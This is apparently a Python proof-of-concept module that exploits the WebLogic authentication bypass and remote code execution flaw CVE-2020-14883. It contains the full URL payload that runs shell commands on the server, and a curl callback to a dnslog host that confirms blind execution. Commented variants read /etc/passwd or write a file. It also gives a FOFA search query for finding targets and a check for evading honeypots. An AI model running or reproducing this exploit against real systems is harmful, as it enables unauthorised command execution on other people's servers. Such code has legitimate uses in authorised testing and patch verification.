# coding:utf-8
import requests
import sys
import re
import socket
requests.packages.urllib3.disable_warnings()

class c2Class(object):
    def __init__(self):
        self.vulname = 'weblogic authencation bypass to rce(CVE-2020-14883)'
        self.cveid='CVE-2020-14883'
        self.vulsystem= 'weblogic'
        self.vulversion = '10.3.6.0; 12.1.3.0; 12.2.1.3; 12.2.1.4; 14.1.1.0'
        self.findtime='2020-10'
        self.fofa='app="BEA-WebLogic-Server" || app="Weblogic_interface_7001"'
        self.refer= 'https://blog.csdn.net/weixin_41598660/article/details/109409965'\
        'https://github.com/feihong-cs/Java-Rce-Echo/blob/master/weblogic/code/WeblogicEcho.jsp'\
        'https://github.com/jas502n/CVE-2020-14882'
        self.bbb='攻击payload只支持w12'
        self.testisok=True

        if __file__[-3:]=='pyc':
            self._file=__file__[:-1]
        else:
            self._file=__file__

        self.dnslog='q9pq1j.dnslog.cn'
        print('Current module use [%s]. You can change dnslog in %s'%(self.dnslog,self._file))
        self.headers={'User-Agent': 'Mozilla/5.0'}
        
        self.rc_host=re.compile('(?<=://).+?(?=[:/])')
        self.vulpath_14883_1=r'''/console/css/%252e%252e%2fconsolejndi.portal?test_handle=com.tangosol.coherence.mvel2.sh.ShellSession('weblogic.work.ExecuteThread currentThread = (weblogic.work.ExecuteThread)Thread.currentThread(); weblogic.work.WorkAdapter adapter = currentThread.getCurrentWork(); java.lang.reflect.Field field = adapter.getClass().getDeclaredField("connectionHandler");field.setAccessible(true);Object obj = field.get(adapter);weblogic.servlet.internal.ServletRequestImpl req = (weblogic.servlet.internal.ServletRequestImpl)obj.getClass().getMethod("getServletRequest").invoke(obj); String cmd = req.getHeader("cmd");String[] cmds = System.getProperty("os.name").toLowerCase().contains("window") ? new String[]{"cmd.exe", "/c", cmd} : new String[]{"/bin/sh", "-c", cmd};if(cmd != null ){ String result = new java.util.Scanner(new java.lang.ProcessBuilder(cmds).start().getInputStream()).useDelimiter("\\A").next(); weblogic.servlet.internal.ServletResponseImpl res =(weblogic.servlet.internal.ServletResponseImpl)req.getClass().getMethod("getResponse").invoke(req);res.getServletOutputStream().writeStream(new weblogic.xml.util.StringInputStream(result));res.getServletOutputStream().flush();} currentThread.interrupt();')'''
        # self.cmd_14883_1='cmd:cat /etc/passwd'
        self.cmd_14883_1='cmd:head -1 /etc/passwd'
        self.flag_14883_1='root:x:0'

        self.cmd_14883_2_dns='curl http://{prefix}.wls.%s'%self.dnslog
        self.cmd_14883_2_touch='touch ../../../wlserver/server/lib/consoleapp/webapp/framework/skins/wlsconsole/css/9.txt'
        self.vulpath_14883_2=r'''/console/css/%252e%252e%2fconsole.portal?_nfpb=false&_pageLabel=&handle=com.tangosol.coherence.mvel2.sh.ShellSession("java.lang.Runtime.getRuntime().exec('{}');");'''
        self.flag_14883_2_dns=200
        self.flag2_14883_2_dns=404
        # 执行成功后的服务器，返回的状态码和包体都不一样。
        # 有的返回302，有的返回200，有的返回404
        # 包体也不一样，各个不同
        # 而且基于我们这样的具有回显的攻击技术，有的蜜罐会直接将
        # 各类意味着利用成功的数据（/etc/passwd、ipconfig、ifconfig等）显示出来，
        # 这就是抓取别人的poc的方法（https://42.194.230.121:1099/）
        # 所以，没法通过状态码、包体来判断是否利用成功
        # 应该通过dnslog的显示，来判断


        # 使用touch生成文件，然后读取文件是否存在来确定，也不靠谱...
        # 由于touch文件为空，而有一些服务器在读取不到文件时不会报错，也是返回200 空
        self.checkurl_14883_2_touch='/console/framework/skins/wlsconsole/css/9.txt'
        self.flag_14883_2_touch=200
        self.flag2_14883_2_touch=0


    def raw_httpget(self,url,headers):
        # url = http://12313.123.13.123:80/1.html
        host=self.rc_host.search(url).group() # 12313.123.13.123
        port=url.find(':',len('http://'),url.find('/',len('http://')))
        if port==-1:
            port='80' # 默认
            path=url[url.find(host)+len(host):] 
        else:
            port=url[port+1:url.find('/',len('http://'))] # 80
            path=url[url.find(host+':'+port)+len(host+':'+port):] # /1.html
        client = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
        client.settimeout(10)
        client.connect((host, int(port)))
        headertxt=''
        headertxt+='Host:{}\r\n'.format(host)
        for k in headers:
            headertxt+='{}:{}\r\n'.format(k,headers[k])
        # print(headertxt)
        req_data='GET {} HTTP/1.1\r\n{}\r\n'.format(path,headertxt).encode('utf-8')
        client.send(req_data)
        resp_data=b''
        try:           
            while 1:
                d=client.recv(1024)
                if d:
                    resp_data+=d
                else:
                    break
            resp_data=resp_data.decode('utf-8').split('\r\n\r\n')[1]
        except:
            resp_data=''
        return resp_data


    def c2Func(self,target):
        status=0
        returnData=''
        try:
            if target.startswith(('http://','https://')):
                # 这是为了拿到 <http://主机名>这样格式的数据
                target=target+'/'
                target=target[:target.find('/',8)] # 在https://、http://的协议开头之后寻找/
            else:
                target='http://'+target
            if 'root:x:0:0:root:/root:/bin/bash' in requests.post(url=target,verify=False,timeout=5).text:# 直接正常访问都存在敏感信息
                raise Exception('Honeypot!!') # 对抗蜜罐
            k,v=self.cmd_14883_1.split(':')
            headers=self.headers
            headers.update({k:v})
            # # 使用可回显的payload攻击,如果用无回显payload打了有效果，可以在bp中试一下。
            # url=target.strip('/')+self.vulpath_14883_1
            # resp_data=self.raw_httpget(url,headers)
            # if self.flag_14883_1 in resp_data:
            #     returnData='%s is vuln(%s), %s result: %s'%(target,self.vulname,self.cmd_14883_1,resp_data)
            #     status=1

            # # 使用无回显的payload攻击-dnslog
            prefix=self.rc_host.search(target).group()
            cmd=self.cmd_14883_2_dns.replace('{prefix}',prefix)
            url=target.strip('/')+self.vulpath_14883_2.format(cmd)
            resp=requests.post(url=url,headers=headers,verify=False,timeout=5)
            if self.flag_14883_2_dns == resp.status_code or self.flag2_14883_2_dns==resp.status_code:
                # 有时候可有可能是假的，返回该状态码不一定攻击成功
                returnData='%s is likely vuln(%s), vulnpath:%s ,u should check dnslog:%s'%(target,self.vulname,url,prefix+'.'+self.dnslog)
                status=1

            # # 使用无回显的payload攻击-touch文件
            # url=target.strip('/')+self.vulpath_14883_2.format(self.cmd_14883_2_touch)
            # resp=requests.post(url=url,headers=headers,verify=False,timeout=5)
            # checkurl=target.strip('/')+self.checkurl_14883_2_touch
            # resp=requests.post(url=checkurl,headers=headers,verify=False,timeout=5)
            # if self.flag_14883_2_touch == resp.status_code and self.flag2_14883_2_touch== len(resp.text):
            #     returnData='%s is vuln(%s), vulnpath:%s , touch file:%s'%(target,self.vulname,url,checkurl)
            #     status=1
        except Exception as e:
            returnData=str(e)
        return status,returnData

if __name__ == '__main__':
    target='http://192.168.199.137:7001'
    pocObj=c2Class()
    print(pocObj.c2Func(target))